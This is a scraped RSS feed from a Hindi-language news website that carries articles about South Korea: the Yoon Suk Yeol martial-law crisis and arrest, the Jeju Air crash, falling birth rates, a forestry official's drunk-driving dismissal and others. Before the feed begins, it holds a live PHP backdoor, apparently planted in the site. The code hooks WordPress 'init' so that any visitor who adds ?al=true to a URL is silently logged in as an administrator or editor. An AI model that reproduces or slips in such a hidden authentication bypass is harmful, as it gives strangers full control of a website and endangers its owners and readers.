// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); South Korea – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 21 Feb 2026 16:05:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 दक्षिण कोरिया में सख्त फैसला: राष्ट्रपति ने फॉरेस्ट सर्विस प्रमुख को हटाया https://pratyushaashakinayikiran.com/?p=199819 Sat, 21 Feb 2026 16:05:00 +0000 https://pratyushaashakinayikiran.com/?p=199819 दक्षिण कोरिया
दक्षिण कोरिया के राष्ट्रपति Lee Jae-myung ने कोरिया फॉरेस्ट सर्विस के मंत्री किम इन-हो को पद से हटा दिया है। राष्ट्रपति कार्यालय ने कहा कि किम ने “मौजूदा कानूनों का गंभीर उल्लंघन” किया, जिसके चलते उन्हें तत्काल प्रभाव से बर्खास्त करने का निर्णय लिया गया। हालांकि शुरुआत में यह स्पष्ट नहीं किया गया कि उन्होंने कौन-सा कानून तोड़ा। बाद में पुलिस ने पुष्टि की कि किम इन-हो को नशे में गाड़ी चलाने के आरोप में बुक किया गया है।

Bundang Police Station के अनुसार, सोमवार रात लगभग 10:50 बजे सोंगनाम के बुंदांग जिले में एक चौराहे पर किम ने शराब के नशे में बस और एक कार को टक्कर मार दी। बताया गया है कि उन्होंने ट्रैफिक सिग्नल की अनदेखी की थी। हालांकि इस घटना में कोई घायल नहीं हुआ, लेकिन उनका ब्लड अल्कोहल स्तर इतना था कि लाइसेंस निलंबन की श्रेणी में आता है। राष्ट्रपति कार्यालय ने चेतावनी दी है कि भविष्य में किसी भी वरिष्ठ अधिकारी द्वारा कानून उल्लंघन किए जाने पर कड़ी कार्रवाई की जाएगी।

 यह घटनाक्रम ऐसे समय में सामने आया है जब सरकार सार्वजनिक पदों पर जवाबदेही को लेकर सख्त रुख अपना रही है। किम इन-हो पहले पर्यावरण के प्रोफेसर रह चुके हैं। उन्हें अगस्त में कोरिया फॉरेस्ट सर्विस के प्रमुख पद पर नियुक्त किया गया था। इससे पहले वे सत्तारूढ़ डेमोक्रेटिक पार्टी की नीति समिति के उपाध्यक्ष भी रह चुके थे। पुलिस ने कहा है कि आरोपी को पूछताछ के लिए समन भेजकर घटना की पूरी जांच की जाएगी।

 

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पैर खोकर भी हिम्मत नहीं हारी: टोमन कुमार ने तीरंदाजी में जीता स्वर्ण, लहराया तिरंगा दक्षिण कोरिया में https://pratyushaashakinayikiran.com/?p=186142 Fri, 17 Oct 2025 10:55:00 +0000 https://pratyushaashakinayikiran.com/?p=186142 रायपुर

अंतरराष्ट्रीय पैरा तीरंदाजी खिलाड़ी टोमन कुमार की कहानी साहस और जज़्बे की मिसाल है। 22 से 28 सितंबर 2025 तक दक्षिण कोरिया में आयोजित विश्व पैरा तीरंदाजी प्रतियोगिता में टोमन ने स्वर्ण और कांस्य पदक जीतकर भारत का नाम रौशन किया।

तीन साल पहले झारखंड के माओवादी ऑपरेशन के दौरान CRPF की टुकड़ी में शामिल टोमन बारूदी विस्फोट का शिकार हुए और उनका चांया पैर खो गया। लेकिन इस चोट ने उन्हें नहीं तोड़ा; बल्कि नई उड़ान भरने की प्रेरणा दी। टोमन छत्तीसगढ़ के बालोद जिले के अहिबरनवागांव के रहने वाले हैं और लक्ष्य पर निशाना साधने में माहिर हैं।

टोमन ने राष्ट्रीय मंच पर अपनी पहचान जयपुर के पैरा नेशनल में पहला पदक जीतकर बनाई। इसके बाद उन्होंने सामान्य वर्ग के नेशनल गेम्स देहरादून में भी हिस्सा लिया।

खेल में अंतर केवल समय का होता है – साधारण वर्ग में निशाना साधने का समय तीन मिनट और पैरास्पोर्ट्स में चार मिनट होता है। दूरी और उपकरण समान रहते हैं, लेकिन धैर्य, हौसला और मानसिक दृढ़ता ही सफलता तय करती है।

विश्व पैरा तीरंदाजी में स्वर्ण और कांस्य जीतने के बावजूद सरकार की ओर से टोमन को कोई आर्थिक सहायता या सम्मान नहीं मिला। उनका अगला लक्ष्य पैरालिंपिक 2028 में पदक जीतना है।

दक्षिण कोरिया में हुई प्रतियोगिता के बाद भारतीय तीरंदाजी टीम अगले साल होने वाली एशियन चैंपियनशिप में हिस्सा लेगी, जिसमें टोमन कुमार भी शामिल होंगे। इस आधार पर भारत की पैरालिंपिक टीम का चयन किया जाएगा। तैयारी के लिए टोमन औरंगाबाद के ट्रेनिंग सेंटर में अभ्यास कर रहे हैं।

टोमन ने अपना पहला नेशनल मुकाबला पटियाला में अपने कोच के कंपाउंड धनुष से खेला। अंतरराष्ट्रीय मानक का यह धनुष और उपकरण करीब 5.5 लाख रुपये का था।

अपने सपनों को सच करने के लिए टोमन ने 2024 में अपनी बचत से दो लाख रुपये खर्च कर अपना पहला धनुष खरीदा। आज भी उनके कोच पंकज सिंह उन्हें तकनीकी और उपकरणों में मदद करते हैं।

आमतौर पर इस मुकाम तक पहुंचने में खिलाड़ियों को सालों लग जाते हैं, लेकिन टोमन ने तीर-कमान में भी करिश्माई प्रदर्शन कर यह साबित कर दिया कि हौसला और मेहनत किसी भी चुनौती को पार कर सकती है।

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दक्षिण कोरिया : राष्ट्रपति यून सुक योल हुए गिरफ्तार, अरेस्ट होने वाले बने देश के पहले प्रेसिडेंट https://pratyushaashakinayikiran.com/?p=121466 Wed, 15 Jan 2025 14:46:00 +0000 https://pratyushaashakinayikiran.com/?p=121466 सीओल

दक्षिण कोरिया के राष्ट्रपति यूं सूक येओल को महाभियोग के बाद बुधवार (15 जनवरी) को कानून प्रवर्तन अधिकारियों ने गिरफ्तार कर लिया. यह देश के इतिहास में पहली बार है जब किसी मौजूदा राष्ट्रपति को हिरासत में लिया गया है. उनकी गिरफ्तारी दक्षिण कोरिया के इतिहास में एक अभूतपूर्व घटना है. इसका देश की राजनीति पर गहरा प्रभाव पड़ने की संभावना है.

Indian Express की रिपोर्ट के मुताबिक राष्ट्रपति यूं सूक येओल पर विभिन्न आरोप लगाए गए थे, जिनमें भ्रष्टाचार, सत्ता का गलत इस्तेमाल समेत अन्य अनियमितताएं शामिल थीं. संसद में महाभियोग प्रस्ताव पास होने के बाद कानून प्रवर्तन अधिकारियों ने राष्ट्रपति को हिरासत में लेने का फैसला लिया. इस कदम ने देश में राजनीतिक हलचल मचा दी है.

मार्शल लॉ लागू करने की कोशिश
महाभियोग का सामना कर रहे राष्ट्रपति यूं सूक येओल के खिलाफ आरोप है कि उन्होंने अपने अधिकारों का गलत इस्तेमाल कर मार्शल लॉ लागू करने की कोशिश की, जिसे घरेलू और अंतरराष्ट्रीय स्तर पर तीखी आलोचना का सामना करना पड़ा. महाभियोग के बाद से ही देश में अस्थिरता का माहौल था, जो अब उनकी गिरफ्तारी के साथ और अधिक गंभीर हो गया है.

नाटकीय गिरफ्तारी की घटनाएं
बुधवार की सुबह, 1,000 से अधिक भ्रष्टाचार विरोधी जांचकर्ता और पुलिस अधिकारी यूं सूक येओल के घर पर पहुंचे. इस दौरान उनके घर के चारों ओर बैरिकेड्स लगाए गए थे, ताकि कानून प्रवर्तन अधिकारियों को अंदर जाने से रोका जा सके. हालांकि, पुलिस ने गिरफ्तारी कर लिया.

अंतरराष्ट्रीय प्रतिक्रिया और राजनीतिक स्थिरता
यूं सूक येओल की गिरफ्तारी ने अंतरराष्ट्रीय समुदाय का ध्यान आकर्षित किया है. कई देशों ने इस घटना को दक्षिण कोरियाई लोकतंत्र की मजबूती के रूप में देखा है. हालांकि, राष्ट्रपति की गिरफ्तारी ने देश की राजनीतिक स्थिरता पर सवाल खड़े कर दिए हैं. आने वाले समय में इसके प्रभावों पर नजर रखना महत्वपूर्ण होगा.

ऐतिहासिक महत्व
दक्षिण कोरिया के इतिहास में यह पहली बार है जब किसी मौजूदा राष्ट्रपति को गिरफ्तार किया गया है. यह घटना न केवल देश की न्यायिक प्रणाली की शक्ति को दर्शाती है, बल्कि यह भी दिखाती है कि कानून के सामने सब एक समान चाहे वे किसी भी पद पर हों.

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दक्षिण कोरिया में राष्ट्रपति योल की गिरफ्तारी में जांचकर्ताओं ने पुलिस से मांगी मदद, समर्थकों के विरोध के बाद फैसला https://pratyushaashakinayikiran.com/?p=118060 Mon, 06 Jan 2025 12:55:00 +0000 https://pratyushaashakinayikiran.com/?p=118060 सियोल.

दक्षिण कोरिया में राजनीतिक संकट लगातार गहरा रहा है और अब महाभियोग का सामना कर रहे राष्ट्रपति यून सुक योल को गिरफ्तार करना जांचकर्ताओं के लिए टेढ़ी खीर बन गया है। यून सुक योल की गिरफ्तारी का विरोध होने के बाद जांचकर्ताओं ने पुलिस से मदद मांगी है।

शुक्रवार को जब जांचकर्ता यून सुक योल को गिरफ्तार करने पहुंचे तो यून सुक योल के सुरक्षाकर्मी उनसे भिड़ गए थे। इससे पहले गुरुवार को यून सुक योल के समर्थकों ने जांचकर्ताओं को आवास में घुसने नहीं दिया था। एक मीडिया रिपोर्ट के मुताबिक दक्षिण कोरिया का भ्रष्टाचार जांच कार्यालय (CIO) यून सुक योल के खिलाफ जांच कर रहा है। जांचकर्ताओं ने वारंट की अवधि समाप्त होने से पहले पुलिस को पत्र भेजकर मदद मांगी है। पुलिस अधिकारी ने बताया कि भ्रष्टाचार जांच कार्यालय ने बिना किसी पूर्व परामर्श के हमारे सहयोग का अनुरोध किया है। उन्होंने हमें पत्र भेजा है। हम इसकी कानूनी समीक्षा कर रहे हैं। इसके अलावा भ्रष्टाचार जांच कार्यालय (CIO) ने कहा कि यून सुक योल की गिरफ्तारी को लेकर हो रहे विरोध के चलते वारंट को तामील कराना संभव नहीं हो पा रहा है। हम समीक्षा के बाद आगे की योजना बना रहे हैं। हम समर्थकों के विरोध पर खेद जताते हैं, क्योंकि इससे कानूनी प्रक्रिया का पालन नहीं हो सका।

राष्ट्रपति के सुरक्षाकर्मियों ने नहीं होने दी गिरफ्तारी
दक्षिण कोरियाई जांचकर्ता शुक्रवार को यून सुक योल को उनके आवास पर गिरफ्तार करने पहुंचे थे, लेकिन स्थानीय मीडिया ने बताया कि राष्ट्रपति के सुरक्षा बलों ने जांचकर्ताओं को रोक दिया और यून की गिरफ्तारी फिर नहीं हो सकी। यून जिन्हें हटाने के लिए पहले ही सांसद अपना समर्थन दे चुके हैं, अब सुप्रीम कोर्ट के फैसले के बाद राष्ट्रपति पद से हट जाएंगे। यून की गिरफ्तारी का वारंट जारी हो चुका है, लेकिन दो बार कोशिश करने के बाद भी जांचकर्ता यून को गिरफ्तार नहीं कर सके हैं। अगर वे गिरफ्तार हो जाते हैं तो यून गिरफ्तार होने वाले दक्षिण कोरिया के पहले राष्ट्रपति बन जाएंगे। यून ने 3 दिसंबर को देश में मार्शल लॉ लगाने का फैसला किया था। हालांकि हंगामे के बाद उन्हें फैसला वापस लेना पड़ा। इसके लिए यून सुक योल को जेल की सजा और मृत्युदंड तक की सजा हो सकती है।

समर्थक भी जांचकर्ताओं को घुसने नहीं दे रहे
गुरुवार को यून समर्थकों ने उनकी गिरफ्तारी नहीं होने दी थी और यून समर्थक जांचकर्ताओं की टीम से भिड़ गए थे। यून की गिरफ्तारी के रोकने के लिए यून समर्थक उनके आवास के बाहर जमे हैं और प्रार्थनाओं का दौर चल रहा है। वहीं जांचकर्ताओं ने चेतावनी दी है कि जो भी व्यक्ति यून की गिरफ्तारी रोकने की कोशिश करेगा, उसके खिलाफ कानूनी कार्रवाई की जाएगी।

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दक्षिण कोरिया में जेजू एयर के सीईओ ने हादसे के लिए मांगी माफी, हादसे में गई 120 लोगों की जान https://pratyushaashakinayikiran.com/?p=115079 Sun, 29 Dec 2024 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=115079 सियोल।

दक्षिण कोरिया में हुए भीषण विमान हादसे को लेकर एयरलाइंस जेजू एयर के सीईओ ने माफी मांगी है। कंपनी की आधिकारिक वेबसाइट पर ये माफी पोस्ट की गई है। जेजू एयर के सीईओ (मुख्य कार्यकारी अधिकारी) किम ई-बे ने मुआन हवाई अड्डे पर हुई दुर्घटना के लिए माफी मांगी।

उन्होंने कहा कि दुर्घटना का कारण अभी स्पष्ट नहीं है। हम भी संबंधित सरकारी एजेंसी की जांच रिपोर्ट का इंतजार कर रहे हैं। किम ई-बे ने माफीनामे में लिखा कि 'सबसे पहले, हम उन सभी लोगों से माफी मांगते हैं जिन्होंने जेजू एयर पर भरोसा किया। 29 दिसंबर को सुबह लगभग 9:03 बजे, बैंकॉक से मुआन जाने वाली फ्लाइट 7C2216 में मुआन अंतर्राष्ट्रीय हवाई अड्डे पर उतरते समय आग लग गई। हम इस दुर्घटना में अपनी जान गंवाने वाले यात्रियों के परिवारों के प्रति अपनी गहरी संवेदना व्यक्त करते हैं और माफी मांगते हैं। दुर्घटना का कारण अभी स्पष्ट नहीं है, और हमें जांच रिपोर्ट का इंतजार करना चाहिए। कारण चाहे जो भी हो, सीईओ के रूप में, मैं इस घटना के लिए गहरी जिम्मेदारी महसूस करता हूं। जेजू एयर इस दुर्घटना को तुरंत संभालने और उसमें सवार लोगों के परिवारों का समर्थन करने के लिए हर संभव प्रयास करेगा। हम सरकार के साथ मिलकर दुर्घटना के कारण का पता लगाने की पूरी कोशिश करेंगे। एक बार फिर हम इस दुर्घटना में अपनी जान गंवाने वालों के लिए प्रार्थना करते हैं और उनके शोक संतप्त परिवारों के प्रति गहरी क्षमा याचना करते हैं।'

विमान हादसे में 120 लोगों की मौत की पुष्टि
दक्षिण कोरिया के दक्षिण-पश्चिम में स्थित मुआन हवाई अड्डे पर रविवार सुबह 181 लोगों को ले जा रहा एक यात्री विमान दुर्घटनाग्रस्त हो गया। इसमें कम से कम 120 लोगों की मौत की पुष्टि हुई है। कई अन्य के घायल होने की आशंका जताई जा रही है। पुलिस और अग्निशमन अधिकारियों की मानें तो बाकी यात्रियों के बचे होने की उम्मीद बहुत कम ही है। 175 यात्रियों और चालक दल के छह सदस्यों को लेकर यह विमान बैंकॉक से लौट रहा था। अधिकांश यात्री दक्षिण कोरियाई नागरिक थे। न्यूज एजेंसी योनहाप ने बताया कि लैंड करते वक्त विमान के लैंडिग गियर में खराबी आई। इसकी वजह से विमान ने बिना लैंडिंग गियर के लैंड करने की कोशिश की और रनवे पर फिसल गया। इसके बाद वह फिसलता हुआ हवाई अड्डे की बाउंड्रीवॉल से जा टकराया। इसके बाद विमान में धमाके साथ आग लग गई।
 

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दक्षिण कोरिया में रनवे पर धमाके के बाद आग का गोला बना विमान, 181 लोग थे सवार, 85 की मौत https://pratyushaashakinayikiran.com/?p=115087 Sun, 29 Dec 2024 12:05:00 +0000 https://pratyushaashakinayikiran.com/?p=115087 दक्षिण कोरिया.

दक्षिण कोरिया से एक बड़ी खबर सामने आ रही है। यहां मुआन अंतरराष्ट्रीय एयरपोर्ट पर रविवार को एक विमान में आग लगने से बड़ा हादसा हो गया। इस हादसे में कम से कम 85 यात्रियों की मौत होने की खबर सामने आ रही है। जानकारी के अनुसार, विमान बैंकॉक से लौट रहा था।

फ्लाइट में 175 यात्रियों के सवार होने की बात कही जा रही है। साथ ही छह क्रू मेंबर भी सवार थे। आपातकालीन कार्यालय के अनुसार, विमान रनवे से उतरकर एक दिवार से टकरा गया, जिसके बाद उसमें आग लग गई। बता दें कि हादसे में मृतकों की संख्या बढ़ भी सकती है। जानकारी के अनुसार, यह विमान जेजू एयर का था और बोइंग 737-800 था। आग बुझाने के बाद बचाव अधिकारी विमान से यात्रियों को निकालने का प्रयास कर रहे थे। मामले में अधिकारियों ने कहा कि आग लगने के कारण की जांच की जा रही है। बता दें कि यह हादसा कुछ दिन पहले कजाकिस्तान में हुए एक विमान हादसे के बाद हुआ है, जिसमें 67 सवारों में से 38 की मौत हो गई थी।

यहां समझें पूरा घटनाक्रम
समाचार एजेंसी एएनआई ने योनहाप न्यूज एजेंसी की रिपोर्ट के हवाले से बताया कि दक्षिण कोरिया के दक्षिण-पश्चिम में एक हवाई अड्डे पर रविवार सुबह 181 लोगों को ले जा रहा एक दक्षिण कोरियाई यात्री विमान दुर्घटनाग्रस्त हो गया। इसमें कम से कम 47 लोगों की मौत की पुष्टि हुई है। कई अन्य के घायल होने की आशंका जताई जा रही है। यह जानकारी पुलिस और अग्निशमन अधिकारियों ने दी।

मरने वालों की संख्या बढ़ने की आशंका
घटना सुबह 9:07 बजे हुई, जब जेजू एयर का एक विमान लैंडिंग के दौरान रनवे से उतर गया और सियोल से लगभग 288 किलोमीटर दक्षिण-पश्चिम में मुआन काउंटी के मुसान अंतर्राष्ट्रीय हवाई अड्डे पर एक बाड़ से टकरा गया। 47 मृत शरीर विमान के पिछले हिस्से में पाए गए। कुल 85 शव बरामद किए जा चुके हैं। मरने वालों की संख्या बढ़ने की आशंका जताई जा रही है।

अधिकांश यात्री दक्षिण कोरियाई नागरिक
अब तक दो व्यक्तियों को बचा लिया गया है। 175 यात्रियों और चालक दल के छह सदस्यों को लेकर यह विमान बैंकॉक से लौट रहा था। अधिकांश यात्री दक्षिण कोरियाई नागरिक थे।

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दक्षिण कोरिया-राष्ट्रपति ने प्रधानमंत्री को सौंपीं शक्तियां, बिफरे विपक्ष ने बताया दूसरा तख्तापलट https://pratyushaashakinayikiran.com/?p=107859 Mon, 09 Dec 2024 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=107859 सियोल.

दक्षिण कोरिया में लगातार सियासी उथल-पुथल जारी है। यहां के हालात तब ज्यादा बदतर हो गए, जब तीन दिसंबर की रात राष्ट्रपति यून सुक-योल ने इमरजेंसी यानी मार्शल लॉ लगाने का एलान किया था। हालांकि, भारी विरोध के बाद कुछ ही घंटों बाद इसे समाप्त कर दिया गया था। हालांकि, इसके वाबजूद भी हालात सही नहीं हैं। अब यहां के विपक्ष ने सत्तारूढ़ पार्टी पर सत्ता पर काबिज होने तथा मार्शल लॉ के एलान के लिए राष्ट्रपति यून सूक योल पर महाभियोग चलाने से इनकार करके दूसरा तख्तापलट करने का आरोप लगाया।

छह घंटे चले मार्शल लॉ ने बिगाड़े हालात
राष्ट्रपति यून सुक योल ने हाल ही में मार्शल लॉ (सैन्य शासन) घोषित कर दिया था, यह आरोप लगाते हुए कि विपक्ष देश की लोकतंत्र और स्थिरता के लिए खतरा बन रहा है। हालांकि, कुछ ही घंटों बाद, राष्ट्रपति ने इस फैसले को वापस ले लिया। यह कदम जनता के विरोध और नेशनल असेंबली की कड़ी आलोचना के बाद लिया गया था। दक्षिण कोरिया में मार्शल लॉ केवल लगभग छह घंटे चला। हालांकि चंद घटों के लिए लागू हुए मार्शल लॉ ने देश की राजनीतिक को हिला कर रख दिया।

यून पर महाभियोग लगाने में नाकाम रहा विपक्ष
राष्ट्रपति योल के इस फैसले के खिलाफ विपक्ष समेत देशभर में प्रदर्शन हो रहे हैं। मार्शल लॉ के कारण विपक्षी पार्टियों ने राष्ट्रपति यून पर महाभियोग लगाने का प्रयास किया। हालांकि, यह प्रस्ताव असफल हो गया क्योंकि सत्तारूढ़ पार्टी के ज्यादातर सांसदों ने वोटिंग का बहिष्कार किया। वहीं, विपक्षियों ने कथित विद्रोह को लेकर यून और पूर्व रक्षा मंत्री सहित कम से कम नौ लोगों के खिलाफ पुलिस में शिकायत दर्ज कराई है।

प्रधानमंत्री को सत्ता सौंपने पर सहमति!
राष्ट्रपति और कुछ शीर्ष अधिकारियों के खिलाफ विद्रोह के लिए जांच की जा रही है, लेकिन सत्तारूढ़ पार्टी के बहिष्कार के बाद शनिवार को योल के खिलाफ महाभियोग चलाने का प्रयास विफल हो गया। पार्टी का दावा है कि बेहद अलोकप्रिय नेता ने प्रधानमंत्री हान डक-सू और पार्टी प्रमुख को सत्ता सौंपने पर सहमति जता दी है।

यह दूसरा तख्तापलत…
डेमोक्रेटिक पार्टी के नेता पार्क चान-डे ने कहा कि यह एक गैरकानूनी, असंवैधानिक कृत्य है, जो दूसरा विद्रोह और दूसरा तख्तापलट है। उन्होंने सत्तारूढ़ पार्टी से इसे तुरंत रोकने का आग्रह किया।

क्या है नियम?
दक्षिण कोरिया के संविधान के अनुसार, राष्ट्रपति तब तक सरकार का मुखिया और सेना का कमांडर इन चीफ बना रहता है, जब तक कि वह अक्षम न हो जाए, इस्तीफा न दे दे या पद न छोड़ दे। ऐसे मामले में, चुनाव होने तक अंतरिम आधार पर सत्ता प्रधानमंत्री को सौंप दी जाती है।

सू को खुद को ऊपर रखना योल के रवैया जैसा: पार्क
पार्क ने कहा कि यह दावा करना कि राष्ट्रपति योल पद पर बने रह सकते हैं, लेकिन उन्होंने अपनी शक्तियां प्रधानमंत्री और अपनी सत्तारूढ़ पीपुल्स पावर पार्टी के नेता को सौंप दी हैं – जो निर्वाचित अधिकारी नहीं हैं। यह एक स्पष्ट संवैधानिक उल्लंघन है, जिसका कोई कानूनी आधार नहीं है। उन्होंने कहा, 'खुद को संविधान से ऊपर रखने का उनका रवैया विद्रोही यून सुक योल जैसा है।'

पुलिस का क्या कहना है?
जांचकर्ताओं ने पहले ही पूर्व रक्षा मंत्री को हिरासत में ले लिया है, उनके कार्यालयों पर छापे मारे हैं, कई शीर्ष अधिकारियों पर यात्रा प्रतिबंध लगा दिए हैं और सोमवार को जनरल को बुलाया है, जिन्हें आगे की पूछताछ के लिए मार्शल लॉ कमांडर बनाया गया था।पुलिस ने सोमवार को कहा कि यून को भी पूछताछ के लिए बुलाया जा सकता है। उन्होंने कहा कि वे इस बात पर विचार कर रहे हैं कि क्या उन्हें यात्रा करने से प्रतिबंधित किया जाए। राष्ट्रीय पुलिस एजेंसी के राष्ट्रीय जांच मुख्यालय के प्रमुख वू जोंग-सू ने कहा, 'जांच के विषय पर कोई मानवीय या शारीरिक प्रतिबंध नहीं हैं। पुलिस बिना किसी अपवाद के कानून और सिद्धांतों के अनुसार जांच करेगी।'

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दक्षिण कोरिया की प्रजनन दर दुनिया में सबसे निचले स्तर पर, देश के सामने अस्तित्व का संकट खड़ा https://pratyushaashakinayikiran.com/?p=106354 Thu, 05 Dec 2024 09:08:00 +0000 https://pratyushaashakinayikiran.com/?p=106354 सियोल
 दुनिया में अपने तेज आर्थिक विकास और आधुनिकीकरण के लिए पहचान बनाने वाला दक्षिण कोरिया इस समय एक गंभीर संकट से जूझ रहा है। यह संकट इतना गंभीर है और ऐसे ही जारी रहा तो इस सदी के अंत तक इस देश की आबादी वर्तमान से घटकर एक तिहाई रह जाएगी। पहले से ही दुनिया में सबसे कम चल रह देश की प्रजनन दर में और गिरावट आई है। दक्षिण कोरिया में देश के 'विलुप्त होने' को लेकर चर्चाएं शुरू हो गई हैं।

प्रजनन दर में 8 फीसदी की गिरावट

दक्षिण कोरिया के सांख्यिकी विभाग ने पिछले सप्ताह जो आंकड़े जारी किए हैं, वो बताते हैं कि साल 2023 में देश की प्रजनन दर 2022 की तुलना में 8 प्रतिशत गिर गई है। विशेषज्ञ चेतावनी दे रहे हैं कि यदि यही ट्रेंड जारी रहा तो साल 2100 तक दक्षिण कोरिया की 5.1 करोड़ की जनसंख्या तिहाई हो सकती है।

साल 2023 में दक्षिण कोरिया में राष्ट्रीय जन्म दर प्रति महिला 0.72 बच्चों के रिकॉर्ड निचले स्तर पर पहुंच गई और इस साल इसके और गिरकर 0.6 होने की उम्मीद है। इस स्थिति ने दक्षिण कोरिया में बड़ी चिंता पैदा कर दी है। द इंडेपेंडेंड की रिपोर्ट के अनुसार, जन्म दर में गिरावट को रोकने के लिए दक्षिण कोरिया की सरकार जन्म दर में गिरावट को रोकने के लिए माता-पिता को प्रत्येक बच्चे के जन्म पर 10 करोड़ वॉन (करीब 59 लाख रुपये) नकद देने पर विचार कर रही है।

जन्मदर बढ़ाने के लिए 22 ट्रिलियन वॉन होंगे खर्च

इस योजना पर सालाना 22 ट्रिलियन वॉन (लगभग 1317 अरब भारतीय रुपये) खर्च होने की उम्मीद है। योजना को लागू करने के पहले सरकार राष्ट्रीय सर्वेक्षण कर रही है। 17 अप्रैल को शुरू हुए इस सर्वेक्षण में चार मुख्य प्रश्न पूछे गए हैं, ताकि यह निर्धारित किया जा सके कि क्या लोग इस पहल पर सालाना 22 ट्रिलियन वॉन खर्च करने का समर्थन करते हैं। यह प्रस्तावित निधि कम जन्म दर को संबोधित करने के लिए समर्पित राष्ट्रीय बजट का लगभग आधा हिस्सा होगी, जो लगभग 48 ट्रिलियन वॉन है।

दक्षिण कोरिया ने जन्म दर को बढ़ाने के लिए कई उपाय किए हैं, जैसे कि बच्चों की देखभाल के लिए विदेशी कर्मचारियों की भर्ती करना, कर लाभ देना और यहां तक कि यह सुझाव देना कि 30 वर्ष की आयु तक तीन या अधिक बच्चे वाले पुरुषों को सैन्य सेवा से छूट दी सकती है। हालांकि, इन प्रयासों का अब तक सीमित प्रभाव पड़ा है।

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पूर्व राष्ट्रपति मून जे-इन की बेटी पर सोल में शराब पीकर गाड़ी चलाने का मामला दर्ज किया गया, टकराई थी टैक्सी से https://pratyushaashakinayikiran.com/?p=80890 Sun, 06 Oct 2024 19:35:00 +0000 https://pratyushaashakinayikiran.com/?p=80890 सोल
दक्षिण कोरिया के पूर्व राष्ट्रपति मून जे-इन की बेटी पर सोल में शराब पीकर गाड़ी चलाने का मामला दर्ज किया गया। पुलिस अधिकारियों के अनुसार, मून दा-ह्ये जिस कार को चला रही थी वह सोल के योंगसान जिले में रात 2:51 बजे एक टैक्सी से टकरा गई। हादसे में टैक्सी ड्राइवर को मामूली चोटें आई हैं। योनहाप समाचार एजेंसी की रिपोर्ट के अनुसार, दा-ह्ये के खून में अल्कोहल की मात्रा कथित तौर पर 0.14 प्रतिशत मापी गई। यह ड्राइवर लाइसेंस रिवोकेशन के लिए तय 0.08 प्रतिशत की सीमा से अधिक है।

5 अक्टूबर को 'जोंगआंग इल्बो' की एक रिपोर्ट के मुताबिक, सोल के योंगसन पुलिस स्टेशन में मून पर सड़क यातायात अधिनियम (नशे में गाड़ी चलाना) का उल्लंघन करने के आरोप में मामला दर्ज किया। रिपोर्ट में कहा गया कि मून नशे की हालत में गाड़ी चला रह थी और लेन बदलते समय, कार की पीछे चल रही एक टैक्सी से टक्कर हो गई। हादसे में टैक्सी ड्राइवर मामूली रूप से घायल हुआ।

मून से 7 अक्टूबर की सुबह, योंगसान पुलिस स्टेशन में इस मामले को लेकर पूछताछ की जा सकती है। मून के पिता 2017 से 2022 तक दक्षिण कोरिया के राष्ट्रपति पद रहे थे। योनहाप समाचार एजेंसी के मुताबिक सत्तारूढ़ पीपुल्स पावर पार्टी के सांसदों ने पूर्व राष्ट्रपति मून जे-इन की बेटी की आलोचना की। प्रतिनिधि किम जंग-क्योम ने एक फेसबुक पोस्ट में कहा कि मून दा-ह्ये को अपने पिता की बात सुननी चाहिए थी, जो पद पर रहते हुए कहते थे कि शराब पीकर गाड़ी चलाना हत्या के बराबर है।

अक्टूबर 2018 में, मून ने अपने वरिष्ठ सलाहकारों से कहा कि नशे में गाड़ी चलाने से संबंधित दुर्घटनाएं 'गलतियां नहीं' बल्कि ऐसी घटनाएं हैं जो 'मौत का कारण बन सकती है' या 'दूसरों के जीवन को पूरी तरह से नष्ट कर सकती हैं।' उस समय, उन्होंने नशे में गाड़ी चलाने के अपराध के लिए कड़ी सजा दिए जाने का समर्थन किया था।

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दक्षिण कोरिया ने उत्तर कोरिया के साथ सैन्य समझौता स्थगित करने का फैसला लिया https://pratyushaashakinayikiran.com/?p=37987 Wed, 05 Jun 2024 10:47:00 +0000 https://pratyushaashakinayikiran.com/?p=37987 सियोल,

 दक्षिण कोरिया की सरकार ने उत्तर कोरिया के साथ एक विवादास्पद सैन्य समझौते को निलंबित करने को मंजूरी दे दी है। यह एक ऐसा कदम है जिससे वह उत्तर कोरिया के उकसावे पर सख्त प्रतिक्रिया दे सकेगा।

यह घटनाक्रम ऐसे समय में हुआ है जब हाल ही में दोनों प्रतिद्वंद्वी देशों के बीच दुश्मनी तेजी से बढ़ी है। इससे पहले दक्षिण कोरिया द्वारा कुछ पर्चे भेजे जाने के जवाब में उत्तर कोरिया ने सीमा पार कचरा ले जाने वाले गुब्बारे उड़ाए थे।

मंगलवार को दक्षिण कोरिया की कैबिनेट काउंसिल ने सीमा पर सैन्य तनाव को कम करने के लिए 2018 के अंतर-कोरियाई समझौते को निलंबित करने के उद्देश्य से एक प्रस्ताव पारित किया।

सरकारी अधिकारियों के अनुसार यह प्रस्ताव राष्ट्रपति यूं सूक येओल द्वारा हस्ताक्षर किए जाने के बाद औपचारिक रूप से प्रभावी होगा। वे संभवतः  देर शाम तक इस पर हस्ताक्षर करेंगे।

सुरक्षा परिषद ने कहा कि निलंबन से दक्षिण कोरिया को उत्तर कोरिया के साथ सीमा के पास सैन्य अभ्यास फिर से शुरू करने और उत्तर कोरिया के उकसावे पर प्रभावी, तत्काल प्रतिक्रिया देने की अनुमति मिलेगी। इसमें कहा गया है कि निलंबन पर एक प्रस्ताव मंजूरी के लिए मंगलवार को कैबिनेट काउंसिल में पेश किया जाएगा।

पर्यवेक्षकों का कहना है कि दक्षिण कोरिया को सीमावर्ती लाउडस्पीकरों से प्योंगयांग विरोधी प्रचार प्रसारण, के-पॉप गाने और बाहरी समाचारों को फिर से शुरू करने के लिए सौदे के निलंबन की आवश्यकता है। उनका कहना है कि इस तरह के प्रसारण पहले सख्ती से नियंत्रित उत्तर में प्रसारित हो चुके हैं, जहां के 26 मिलियन लोगों में से अधिकांश को विदेशी समाचारों तक आधिकारिक पहुंच की अनुमति नहीं है।

